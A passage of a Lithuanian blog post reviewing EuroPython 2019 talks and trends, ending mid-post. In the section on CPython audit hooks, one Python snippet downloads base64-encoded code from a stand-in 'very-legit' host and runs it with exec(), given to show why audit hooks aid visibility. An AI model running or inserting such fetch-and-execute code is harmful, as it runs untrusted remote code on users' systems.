tag:blogger.com,1999:blog-16326562427301809102024-03-13T18:59:55.619+02:00(Neperlabiausiai) šaunios Petro mintysPetras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.comBlogger87125tag:blogger.com,1999:blog-1632656242730180910.post-46704412084278066102019-09-11T21:07:00.000+03:002019-09-11T21:07:50.633+03:00EuroPython 2019 apžvalga<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-qWhA387TLNc/XXfjOIDcqPI/AAAAAAAAB4U/LTzgkmsP0hsYktbeYam7_stF-44FK9DfwCLcBGAs/s1600/IMG_3395.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-qWhA387TLNc/XXfjOIDcqPI/AAAAAAAAB4U/LTzgkmsP0hsYktbeYam7_stF-44FK9DfwCLcBGAs/s320/IMG_3395.png" width="272" height="320" data-original-width="1358" data-original-height="1600" /></a></div>
Aš vėl buvau EuroPython konferencijoje. Šiemet ji vyko Bazelyje. Miestas iš
valstybės, kuri brangi, kaip Šveicariškas laikrodis (BigMac'o indeksu Lietuvą
lenkia daugiau nei du kartus). Gal dėl to pačioje konferencijoje visko
gastronomijos atžvilgiu buvo su saiku. Jokių didelių furšetų ir ekologiškų
limonadų iš draftinių limodanų šulinių. Pietums gavome kiaušinienės. Kitą
kartą makaronų. Ir kartais, bet tik atstovėjus eilėje, pavaišindavo kava.
<br/>
<br/>
Kas ekonominio burbulo riebiausiame taške bujojantiems programuotojams,
be visa ko įpratusiems prie sėdmaišių ir koorporatyvinių jogos treniruočių su
Radistais, galėjo pasirodyti labai asketiška.
<br/>
<br/>
Bet aš į tą konferenciją važiuoju ne paėst, o pagert. Ne, ne. Juokaunu. Aš ten
važiuoju gauti įkvėpimo; pajust kur link pučia Python (ir bendrai IT)
ekosistemos vėjai; ir jeigu pasiseks išmokti kažko naujo.
<br/>
<br/>
Pradėsiu nuo 4 įžvalgų ir toliau pereisiu prie išklausytų pranešimų apžvalgos.
Kaip visada viską iliustruos piešinukai iš mano konspektų.
<br/>
<br/>
(Pastaba: EuroPython dar neįkėlė visų video įrašų, tai aš negaliu čia įdėti
nuorodų)
<br/>
<br/>
<br/>
<h3>Bendros įžvalgos</h3>
<br/>
<h4>Python tampa labai sudėtinga kalba</h4>
<br/>
Iš <a href="https://python.org">https://python.org</a> puslapio:
<blockquote style="font-color: #aaa">
Quick & Easy to Learn
<br/>
<br/>
Experienced programmers in any other language can pick up Python very
quickly, and beginners find the clean syntax and indentation structure
easy to learn
</blockquote>
Čia net nežinau, ar šios konferencijos pastebėjimas, ar iš lėto brendusi
mintis. Ar tas, kad po kelių metų pertraukos vėl nemažai laiko skiriu kitų
programavimo kalbų mokymuisi.
<br/>
<br/>
Bet Python nėra nei lengva, nei švari, nei lengvai įsisavinama. Taip sutinku,
kad parašyti:
<br/>
<pre style="background-color: #fff">
def say_hello():
print("Hello World")
say_hello()
</pre>
yra labai lengva. Ir atrodo paprastai ir elegantiškai. Nu ir lengvai. Bet, ar
kas žmogų praleistų per Python įdarbinimo techninį interviu, jeigu jis/ji
mokės tik paprastus ir elegantiškus Python'o konstruktus.
<br/>
<br/>
Oij ne. Kalboje atsiranda vis daugiau ir daugiau naujos sintaksės, kuri
dažniausiai būna skirta nišiniams naudojimo atvejams. Prieš kokius 5~7 metus
aš būčiau sutikęs, kad Python yra viena tinkamiausių programavimo kalbų
dėstyti mokykloje, dabar net nežinau.
<br/>
<br/>
Kita vertus, Python tampa viena populiariausių programavimo kalbų pasaulyje.
Tai reiškiasi, kad žmonės vis dar ją sugeba išmokti.
<br/>
<br/>
Truputuką padailintis "Sveikas, Pasauli" pavyzdys:
<br/>
<pre style="background-color: #fff">
import asyncio
async def say_hello(*, name: str) -> None:
"""
>>> asyncio.run(say_hello("World"))
Traceback (most recent call last):
...
TypeError: say_hello() takes 0 positional arguments but 1 was given
>>> asyncio.run(say_hello(name="World"))
Hello World
"""
print(f"Hello {name}")
asyncio.run(say_hello(name="World"))
</pre>
<h4>Duomenų mokslo įsigalėjimas</h4>
<br/>
Kažkada EuroPython konferencijose duomenų mokslui, kaip išmalda, būdavo
duodama kažkiek laiko ir patalpų. Dabar atrodo, kad niekas nieko kito nedaro
tik naudoja Python'ą duomenų mokslui (su AI, ML ir visais kitais skambiais
sutrumpinimais (kitaip sakant tiesiog tiesinę regresiją praleidžia per
kažkokius duomenis)).
<br/>
<br/>
WEB'o beveik nulis. Kompiuterinės grafiko beveik nulis. Netgi DevOps'ų visi
pranešimai apie tai, kaip jie pakūrė IT fabrikėlį eilinei (tuoj, tuoj pasaulį
išgelbėsiančiai) duomenų kasybos (data mining) kontorėlei.
<br/>
<br/>
<h4>Meilė Rust pakeitė meilę Go</h4>
<br/>
Prieš 3~4 metus konferencijoje labai jautėsi meilė Go. Vis būdavo po vieną
kitą pranešimą per dieną apie tai, kaip Python ir Go draugauja. Arba kodėl
reikia naudoti Go, o ne Python. O ir vakare prie alaus vis atsirasdavo koks
vienas kitas programuotojas, besuokiantis meilės serenadas Go programavimo
kalbai.
<br/>
<br/>
Meilė truko tris metus ir šiemet niekam jau nebeįdomu. Dabar yra nauja
Dulsinėja. Rust programavimo kalba.
<br/>
<br/>
O jau kokia faina. O jau kokia greita. O jau kaip rekomenduotina optimizuoti
lėtus modulius su Rust, o ne su C. Vaje, vaje.
<br/>
<br/>
Didžiąją dalį Rust kalbos mylėtojų sudaro žmonės, neseniai atradę Rust
programavimą kalbą. Juos galima palyginti su neseniai atsivertusiais į
veganizmą. Nes Rust yra programavimo kalbų veganas.
<br/>
<br/>
Nors ne. Geresnis pavyzdys būtų žmonės, neseniai pradėjo sportuoti. Jie
netveria savyje ir pasakoja visiems, kaip jie sportuoja, kaip pagerėjo jų
savijauta, kaip iš vis svarbu visiems žmonėms sportuoti, ir kad nėra jau taip
sunku atrasti laiko sau. Ypač mėgsta seniai sportuojanties aiškinti, kad jie
netaip sportuoja, ar kad per mažai sportuoja, ar dar ką nors. Visi žino, kad
jie mes tą savo sportą už maksimum vieno mėnesio. Nu bet tą mėnesį reikės
atkentėti.
<br/>
<br/>
<h4>Nebėra Async IO</h4>
<br/>
Beveik niekas nekalba apie AsyncIO. Dar praeitais metais buvo šurmulys. O
šiais, pyst, ir nieko. AsyncIO yra viena iš tų nišinio panaudojimo Python
sintaksės papildymų, kurie komplikuoja Python programavimo kalbos sintaksę.
(Jau nekalbant apie nesuderinimą su standartine biblioteka) ir be kurių
laisvai būtų galima gyventi (ką įrodo Twisted biblioteka).
<br/>
<br/>
Bet duomenų mokslas beveik nenaudoja AsyncIO. Ir tos srities dominavimas
lemia, kad procentaliai AsyncIO nėra niekam įdomu. Nes realiai nelabai kam ir
buvo. Nes realiai nelabai kam ir reikėjo.
<br/>
<br/>
Tai mano prognozė yra ta, kad AsyncIO kaip ir mirs. Tiksliau ji niekad pilnai
nemirs. Bet merdės ir nieko ten įdomaus nevyks.
<br/>
<br/>
(Beje, vienam iš panašių įrašų aš esu prognozavęs, kad Django mirs...)
<br/>
<br/>
<br/>
<h3>Išklausytos kalbos</h3>
<br/>
<h4>Getting Your Data Joie De Vivre Back!</h4>
<a href="https://www.youtube.com/watch?v=uF2GhMAaQOQ">https://www.youtube.com/watch?v=uF2GhMAaQOQ</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-JuedDfUE4fc/XXfjNn9WtsI/AAAAAAAAB4Q/0XH5EEOyFIIx2ISBlQ3AiETPq6ZX5FYrQCLcBGAs/s1600/IMG_3396.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-JuedDfUE4fc/XXfjNn9WtsI/AAAAAAAAB4Q/0XH5EEOyFIIx2ISBlQ3AiETPq6ZX5FYrQCLcBGAs/s320/IMG_3396.png" width="320" height="226" data-original-width="1600" data-original-height="1129" /></a></div>
<br/>
Žymi programuotoja papasakojo, ką ji įdomaus nuveikė, kai nedirbo prie rimtų
projektų. Pristatė kelis savo namudinius pasižaidimo projektus. Visi jie
maždaug apie meną + duomenų mokslą.
<br/>
<br/>
Visai gerai susiklausė. Tokia legvasvorė, bet man buvo įdomu.
<br/>
<br/>
<a href="https://en.wikipedia.org/wiki/The_Garden_of_Earthly_Delights">https://en.wikipedia.org/wiki/The_Garden_of_Earthly_Delights</a>
<br/>
<br/>
<h4>Auditing hooks and security transparency for CPython</h4>
<a href="https://www.youtube.com/watch?v=NMaWiUQitrY">https://www.youtube.com/watch?v=NMaWiUQitrY</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-pCDBwH_vjro/XXfjOI4pUMI/AAAAAAAAB4Y/-EMehvlJ6WMATZ9Zez2LrSQ_FvshvqabwCLcBGAs/s1600/IMG_3398.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-pCDBwH_vjro/XXfjOI4pUMI/AAAAAAAAB4Y/-EMehvlJ6WMATZ9Zez2LrSQ_FvshvqabwCLcBGAs/s320/IMG_3398.png" width="311" height="320" data-original-width="1554" data-original-height="1600" /></a></div>
<br/>
Čia pasakojo apie PEP 551. Tas PEP'as yra apie saugumo žurnalo raštvedybos
kilpas (<em>audit hooks</em> (specialiai išsidirbinėju su lietuvišku vertimu.
Iš tikro tai norėčiau atrasti trumpą, bet skambų atitikmenį, bet nerandu)). Ir
kaip Python'as planuoja ateityje leisti visiems norintiems pamatyti, kas
vyksta viduje ganėtinai žemame lygmenyje.
<br/>
<br/>
Visa idėja paremta prielaida, kad nei vienos sistemos saugumo užtikrinti vis
tiek nepavyks. Dėl to reikia kiek galima daugiau matyti, kas vyksta.
<br/>
<br/>
Ir jeigu sistemoje yra paleistas Python'o procesas, tai pamatyti tokį vat
įvykį yra daug sunkiau, nei kad paskirai paleidžiamą, tarkim, `curl` procesą.
<br/>
<br/>
<pre style="background-color: #fff">
exec(
base64.b64decode(
urllib.request.urlopen('http://not-a-exploit.very-legit.com/py.b64')
).decode()
)
</pre>
Šitas PEP'as leis prikabinėti kur tik nori visokių įvykių klausytojų.
<br/>
<br/>
Pats pranešimas yra labai techniškas. Ir, deja, ne toks įdomus, kaip pačio
PEP'o skaitymas.
<br/>
<br/>
<a href="https://www.python.org/dev/peps/pep-0578/">https://www.python.org/dev/peps/pep-0578/</a>
<br/>
<br/>
<h4>Understanding how a malware works using Python</h4>
<a href="https://ep2019.europython.eu/talks/TzNDkKW-understanding-how-a-malware-works-using-python/">https://ep2019.europython.eu/talks/TzNDkKW-understanding-how-a-malware-works-using-python/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-dnzzhlidl_M/XXfjOlb15sI/AAAAAAAAB4c/wd5IZMMwXJcGG1sn3wBjwYL-Ltlf6b5JgCLcBGAs/s1600/IMG_3399.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-dnzzhlidl_M/XXfjOlb15sI/AAAAAAAAB4c/wd5IZMMwXJcGG1sn3wBjwYL-Ltlf6b5JgCLcBGAs/s320/IMG_3399.png" width="300" height="320" data-original-width="1498" data-original-height="1600" /></a></div>
<br/>
Pats kalbėtojas nepasirodė. Tai pranešimas buvo atšauktas. Dar spėjau po to
nueiti į vidurį pranešimo apie IPython. Nu nieko įdomaus tas IPython. Nebent
nežinau, kad toks yra. Tada labai įdomu (kad "kaip aš galėjau be jo gyventi").
<br/>
<br/>
<h4>Python for realtime audio processing in a live music context</h4>
<a href="https://www.youtube.com/watch?v=IdsrZYZ0TI0">https://www.youtube.com/watch?v=IdsrZYZ0TI0</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-k-_VbiekiGU/XXfjPzHSjrI/AAAAAAAAB4k/D8SZ9D62rnQMbmJRk8xCBpTUhQ7YJgLRwCLcBGAs/s1600/IMG_3400.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-k-_VbiekiGU/XXfjPzHSjrI/AAAAAAAAB4k/D8SZ9D62rnQMbmJRk8xCBpTUhQ7YJgLRwCLcBGAs/s320/IMG_3400.png" width="245" height="320" data-original-width="1226" data-original-height="1600" /></a></div>
<br/>
Kažkokia grupė groja klasikiniais instrumentais ir naudoja programuojamus...
Eeeeee... Hmmmmmm... Adapterius, kontrolerius, sintezatorius ar ten dar kažką
koncerto metu gyvai keisti garsus. Nu ten kur koncertuose pasako "Aaaa" tada
suspaudo kažką kojomis ir kažkos kompiuteriukas ritmiškai sako "Aaaa", "Aaaa",
"Aaaa". Atsiprašau už nemoksliškumą, bet aš tik tiek apie muziką besigaudau.
<br/>
<br/>
Tai va, čia ir visa istorija. Yra kažkokia C biblioteka su Python sąsają,
leidžiančia programuoti tuos kompiuteriukus. Tai jie pasirašę Python skriptų
ir groja kažkokius psichodelinius klasikinės muzikos pypsėjimo blėnius.
<br/>
<br/>
<h4>Build your Python Extensions with Rust!</h4>
<a href="https://www.youtube.com/watch?v=FolV-xUD3Ko">https://www.youtube.com/watch?v=FolV-xUD3Ko</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-p8GoaUxlbio/XXfjPz9Qy9I/AAAAAAAAB4g/YZ40kbChTCY1NNBGmhvQ8VELbXojFr-9wCLcBGAs/s1600/IMG_3401.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-p8GoaUxlbio/XXfjPz9Qy9I/AAAAAAAAB4g/YZ40kbChTCY1NNBGmhvQ8VELbXojFr-9wCLcBGAs/s320/IMG_3401.png" width="293" height="320" data-original-width="1466" data-original-height="1600" /></a></div>
<br/>
Pavadinimas viską pasako. Įdomu bus tik tada, jeigu esate užsikrėtęs Rust
virusu.
<br/>
<br/>
<h4>Writing a Python autoreloader</h4>
<a href="https://www.youtube.com/watch?v=IghyoR6ld60">https://www.youtube.com/watch?v=IghyoR6ld60</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-cRe3U-0Dr3c/XXfjQc2szvI/AAAAAAAAB4o/Wsqcb96Y1mYt3etIA_m2zU6J21QqeH23gCLcBGAs/s1600/IMG_3402.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-cRe3U-0Dr3c/XXfjQc2szvI/AAAAAAAAB4o/Wsqcb96Y1mYt3etIA_m2zU6J21QqeH23gCLcBGAs/s320/IMG_3402.png" width="246" height="320" data-original-width="1229" data-original-height="1600" /></a></div>
<br/>
Įdomus pasakojimas apie tai, kaip sunku pasirašyti automatinį bet kokios
programos perkrovėją. O ypač Python'o. Nu nes labai lanksti programavavimo
kalba.
<br/>
<br/>
Nors galiausiai Django turi greitesnį perkrovėją, bet autorius rekomenduoja
visiems, kam prireiks panašaus funkcionalumą, naudoti Pylons <em>hupper</em> biblioteką.
<br/>
<br/>
<a href="https://github.com/Pylons/hupper">https://github.com/Pylons/hupper</a>
<br/>
<a href="https://github.com/django/django/blob/master/django/utils/autoreload.py">https://github.com/django/django/blob/master/django/utils/autoreload.py</a>
<br/>
<br/>
<h4>Opt Out of Online Sexism – Open Source Activism</h4>
<a href="https://www.youtube.com/watch?v=Ov0scTjDVuQ">https://www.youtube.com/watch?v=Ov0scTjDVuQ</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-me5pNGbjfnQ/XXfjRjOUiFI/AAAAAAAAB4s/KBYBm2cVvDUB4ASKCfINhoOQpIaKG0ePgCLcBGAs/s1600/IMG_3403.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-me5pNGbjfnQ/XXfjRjOUiFI/AAAAAAAAB4s/KBYBm2cVvDUB4ASKCfINhoOQpIaKG0ePgCLcBGAs/s320/IMG_3403.png" width="237" height="320" data-original-width="1187" data-original-height="1600" /></a></div>
<br/>
Labai daug optimizmo ir ambicijų turinti pranešėja su labai motyvuota komanda,
stovinčia už jos, parašė naršyklės įskiepą, kuris paslepia keiksmažodžius
Twitter'yje. Ta prasme:
<br/>
<pre style="background-color: #fff">
document.body.innerHTML = document.body.innerHTML.replace("bybis", "*****");
</pre>
Bet tuoj, tuoj jie išspręs blogio (pagal jų apibrėžimus) problemą internete ir
tuoj internetas bus saugus visiems.
<br/>
<br/>
<h4>Static typing: beyond the basics of def foo(x: int) -> str:</h4>
<a href="https://ep2019.europython.eu/talks/LTm28H5-static-typing-beyond-the-basics-of-def-foox-int-str/">https://ep2019.europython.eu/talks/LTm28H5-static-typing-beyond-the-basics-of-def-foox-int-str/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-h4zIeWBYeGo/XXkrywwnO1I/AAAAAAAAB6Y/G4oN6qsKji4epNuwqgzgghxgQnYf40xdACLcBGAsYHQ/s1600/IMG_3404.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-h4zIeWBYeGo/XXkrywwnO1I/AAAAAAAAB6Y/G4oN6qsKji4epNuwqgzgghxgQnYf40xdACLcBGAsYHQ/s320/IMG_3404.png" width="244" height="320" data-original-width="1218" data-original-height="1600" /></a></div>
<br/>
Nepaisant pavadinimo, čia buvo labai standartinis pranešimas apie Python'o
tipų sistemą.
<br/>
<br/>
<h4>Why You Should Pursue Public Speaking and How to Get There</h4>
<a href="https://www.youtube.com/watch?v=a5WIMg5sunw">https://www.youtube.com/watch?v=a5WIMg5sunw</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-JZ9dFs590H0/XXfjSAFEPLI/AAAAAAAAB4w/xvfBTgRBDk4aq2MHdwqU76h9GnmaEEDYwCLcBGAs/s1600/IMG_3405.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-JZ9dFs590H0/XXfjSAFEPLI/AAAAAAAAB4w/xvfBTgRBDk4aq2MHdwqU76h9GnmaEEDYwCLcBGAs/s320/IMG_3405.png" width="278" height="320" data-original-width="1391" data-original-height="1600" /></a></div>
<br/>
Pranešimas apie tai, kaip daryti pranešimus. Deja, bet geriausias patarimas
būtų daryti atvirkščiai nei autorė darė savo pranešimo metu.
<br/>
<br/>
- Nereikia pranešimo metu paleisti 10~15 minučių ilgio video
<br/>
- Nereikia kalbėti, kaip kad teletabiai savo laidoje kalbėjo kelių metų
vaikams. Nebent konferencija skirta kelių metų vaikams
<br/>
<br/>
<h4>Lightning Talks</h4>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-XWvKx-e8dA8/XXfjTQ78ImI/AAAAAAAAB40/fE1ayOAyacQ073Zr1o_QrQMGJRMbKJLiQCLcBGAs/s1600/IMG_3406.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-XWvKx-e8dA8/XXfjTQ78ImI/AAAAAAAAB40/fE1ayOAyacQ073Zr1o_QrQMGJRMbKJLiQCLcBGAs/s320/IMG_3406.png" width="201" height="320" data-original-width="1004" data-original-height="1600" /></a></div>
<br/>
Vienintelė įdomi nuoroda iš visų mini pranešimų:
<br/>
<a href="https://www.fuzzingbook.org/">https://www.fuzzingbook.org/</a>
<br/>
<br/>
<h4>Are women underrepresented in the High Performance Computing (HPC) community?</h4>
<a href="https://ep2019.europython.eu/talks/kaqWcyu-are-women-underrepresented-in-the-high-performance-computing-hpc-community/">https://ep2019.europython.eu/talks/kaqWcyu-are-women-underrepresented-in-the-high-performance-computing-hpc-community/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-ELjin7ya1fk/XXktS0pzUgI/AAAAAAAAB6k/-DvMCj6-rPI09szzXtt75zn1QDQeLvoSQCLcBGAsYHQ/s1600/IMG_3407.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-ELjin7ya1fk/XXktS0pzUgI/AAAAAAAAB6k/-DvMCj6-rPI09szzXtt75zn1QDQeLvoSQCLcBGAsYHQ/s320/IMG_3407.png" width="295" height="320" data-original-width="1474" data-original-height="1600" /></a></div>
<br/>
Keista, bet buvo įdomus ir logiškas pranešimas. Be įprastinio "berniukai
šlykštynės, o mergaitės visos nuostabių nuostabiausios" neratyvo.
<br/>
<br/>
Tiesa, iš publikos klausimų buvo galima nuspėti, kitaip nei pranešėja, publika
yra daug rimčiau nusiteikusi ir nori raganių medžioklės.
<br/>
<br/>
<h4>Introduction to low-level profiling and tracing</h4>
<a href="https://ep2019.europython.eu/talks/es2pZ6C-introduction-to-low-level-profiling-and-tracing/">https://ep2019.europython.eu/talks/es2pZ6C-introduction-to-low-level-profiling-and-tracing/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-O1vaTcL83Lw/XXfjUQI8c5I/AAAAAAAAB44/oWxA7BLOipI4lKHziqn54hqTjm_F5Ja_ACLcBGAs/s1600/IMG_3408.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-O1vaTcL83Lw/XXfjUQI8c5I/AAAAAAAAB44/oWxA7BLOipI4lKHziqn54hqTjm_F5Ja_ACLcBGAs/s320/IMG_3408.png" width="276" height="320" data-original-width="1378" data-original-height="1600" /></a></div>
<br/>
Pranešimas apie žemo lygmens sekimą ir profiliavimą Linux'e, truputį
užkabinant Python'ą.
<br/>
<br/>
Tikrai techniškai sudėtingas pranešimas. Bet geras. Daug ko nesupratau. Bet
geras. Reiks dar kartą peržiūrėti, kai video įkels.
<br/>
<br/>
<h4>How to write a JIT compiler in 30 minutes</h4>
<a href="https://ep2019.europython.eu/talks/S4nvhVb-how-to-write-a-jit-compiler-in-30-minutes/">https://ep2019.europython.eu/talks/S4nvhVb-how-to-write-a-jit-compiler-in-30-minutes/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-kIFUbgT1PkQ/XXfjWJphprI/AAAAAAAAB48/21TtucFOcP4sdDJNmngL4D7iEMlj0zV8gCLcBGAs/s1600/IMG_3409.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-kIFUbgT1PkQ/XXfjWJphprI/AAAAAAAAB48/21TtucFOcP4sdDJNmngL4D7iEMlj0zV8gCLcBGAs/s320/IMG_3409.png" width="246" height="320" data-original-width="1228" data-original-height="1600" /></a></div>
<br/>
Gyvo programavimo sesija apie tai, kaip pasirašyti žaislinį JIT kompiliatorių.
Prenešimas naudingas, jeigu domina JIT pagrindų pagrindai.
<br/>
<br/>
<h4>Opening PyPy's magic black box</h4>
<a href="https://ep2019.europython.eu/talks/898p5T5-opening-pypys-magic-black-box/">https://ep2019.europython.eu/talks/898p5T5-opening-pypys-magic-black-box/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-52OOi2UlaWk/XXfjXgl1IRI/AAAAAAAAB5A/USqj3XlztHQGImIlDLOgYWqgtz80XdrRACLcBGAs/s1600/IMG_3410.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-52OOi2UlaWk/XXfjXgl1IRI/AAAAAAAAB5A/USqj3XlztHQGImIlDLOgYWqgtz80XdrRACLcBGAs/s320/IMG_3410.png" width="295" height="320" data-original-width="1475" data-original-height="1600" /></a></div>
<br/>
Nelabai atsimenu, ką konkrečiai pasakojo. Tik atsimenu, kad minėjo, jog
didžioji dalis energijos yra skiriama iš 2 į 3 migracijai ir async.io
palaikymui. Kas liūdnoka, nes PyPy visada žaidžia besivejančio žaidimą. Ir dėl
to automatiškai niekad nebus CPython pakaitalas.
<br/>
<br/>
<h4>GraphQL in Python</h4>
<a href="https://ep2019.europython.eu/talks/tgpqoNo-graphql-in-python/">https://ep2019.europython.eu/talks/tgpqoNo-graphql-in-python/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-1vPuUWtDefk/XXfjY7YstQI/AAAAAAAAB5E/6lsbFORIkQoTeRnSZdQH6wUJE8zAM_rFACLcBGAs/s1600/IMG_3411.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-1vPuUWtDefk/XXfjY7YstQI/AAAAAAAAB5E/6lsbFORIkQoTeRnSZdQH6wUJE8zAM_rFACLcBGAs/s320/IMG_3411.png" width="245" height="320" data-original-width="1226" data-original-height="1600" /></a></div>
<br/>
Nieko įpatingo. Pristatė GraphQL ir kažkokią savo biblioteką.
<br/>
<br/>
<h4>Gamifying the study of algorithms</h4>
<a href="https://ep2019.europython.eu/talks/ydmw6o9-gamifying-the-study-of-algorithms/">https://ep2019.europython.eu/talks/ydmw6o9-gamifying-the-study-of-algorithms/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-q9GJ3m0LuFI/XXfjafaVIDI/AAAAAAAAB5I/tr45dRXxaigsBwIdSbR2hpmiADSXwkaZACLcBGAs/s1600/IMG_3412.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-q9GJ3m0LuFI/XXfjafaVIDI/AAAAAAAAB5I/tr45dRXxaigsBwIdSbR2hpmiADSXwkaZACLcBGAs/s320/IMG_3412.png" width="275" height="320" data-original-width="1376" data-original-height="1600" /></a></div>
<br/>
Nesąmonė. Pranešimas apie tai, kaip save prisiversti mokintis algoritmų.
Atsakymas: ogi skirti sau išgalvotų taškų. Nu tiesiog. Be jokio logikos.
<br/>
<br/>
<h4>The Dangers of Outsourcing Software Development</h4>
<a href="https://ep2019.europython.eu/talks/Pd2BspX-the-dangers-of-outsourcing-software-development/">https://ep2019.europython.eu/talks/Pd2BspX-the-dangers-of-outsourcing-software-development/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-3tSfx7ucnZU/XXfjb4ZQd_I/AAAAAAAAB5M/XiWT1zseU8UNJY1GMqnJ_3lKRuY7kwiZQCLcBGAs/s1600/IMG_3413.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-3tSfx7ucnZU/XXfjb4ZQd_I/AAAAAAAAB5M/XiWT1zseU8UNJY1GMqnJ_3lKRuY7kwiZQCLcBGAs/s320/IMG_3413.png" width="252" height="320" data-original-width="1262" data-original-height="1600" /></a></div>
<br/>
Pranešimas ne iš techninės pusės, bet iš biznio pusės. Visai nieko.
<br/>
<br/>
<h4>Deploy Python to the cloud faster with Azure Serverless</h4>
<a href="https://ep2019.europython.eu/talks/xQo7aib-deploy-python-to-the-cloud-faster-with-azure-serverless/">https://ep2019.europython.eu/talks/xQo7aib-deploy-python-to-the-cloud-faster-with-azure-serverless/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-2Kj0UsUR_pw/XXfjc333i2I/AAAAAAAAB5Q/j4u1NkjLy4QVaIjRqssvmhgKx4JO-0A6QCLcBGAs/s1600/IMG_3414.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-2Kj0UsUR_pw/XXfjc333i2I/AAAAAAAAB5Q/j4u1NkjLy4QVaIjRqssvmhgKx4JO-0A6QCLcBGAs/s320/IMG_3414.png" width="306" height="320" data-original-width="1528" data-original-height="1600" /></a></div>
<br/>
Microsoft'as pristatė savo debesis.
<br/>
<br/>
<h4>AI in Contemporary Art</h4>
<a href="https://ep2019.europython.eu/talks/3yvWcoS-ai-in-contemporary-art/">https://ep2019.europython.eu/talks/3yvWcoS-ai-in-contemporary-art/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-lyqFKkwWki8/XXfjd5IgMDI/AAAAAAAAB5U/aELin3HyjpY5QkceB9BDDHvPtETpWa1TACLcBGAs/s1600/IMG_3415.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-lyqFKkwWki8/XXfjd5IgMDI/AAAAAAAAB5U/aELin3HyjpY5QkceB9BDDHvPtETpWa1TACLcBGAs/s320/IMG_3415.png" width="191" height="320" data-original-width="954" data-original-height="1600" /></a></div>
<br/>
Visiems kitiems, su kuriais kalbėjau, labai patiko šitas pranešimas. Jokio
techniškumo. Tiesiog menas sukurtas naudojant AI. Modernus menas. Gal dėl to
manęs ir neužkabino. Man nelabai svarbu, kaip kas buvo sukurta. Man svarbu ar
gražu, ar ne. Nelabai ten man gražu buvo.
<br/>
<br/>
<h4>Python Performance: Past, Present and Future</h4>
<a href="https://ep2019.europython.eu/talks/HaEW7Ns-python-performance-past-present-and-future/">https://ep2019.europython.eu/talks/HaEW7Ns-python-performance-past-present-and-future/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-S4HxQTlUdkQ/XXfjfTi3kmI/AAAAAAAAB5Y/ewuY9bWZ1_sPWydXKJJFGvlYu6HgWpuZACLcBGAs/s1600/IMG_3417.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-S4HxQTlUdkQ/XXfjfTi3kmI/AAAAAAAAB5Y/ewuY9bWZ1_sPWydXKJJFGvlYu6HgWpuZACLcBGAs/s320/IMG_3417.png" width="290" height="320" data-original-width="1452" data-original-height="1600" /></a></div>
<br/>
Šiaip pagal statusą pagrindinis dienos pranešimas, bet nu nieko neatsimenu.
Turbūt nieko gero nepapasakojo.
<br/>
<br/>
<h4>The soul of the beast</h4>
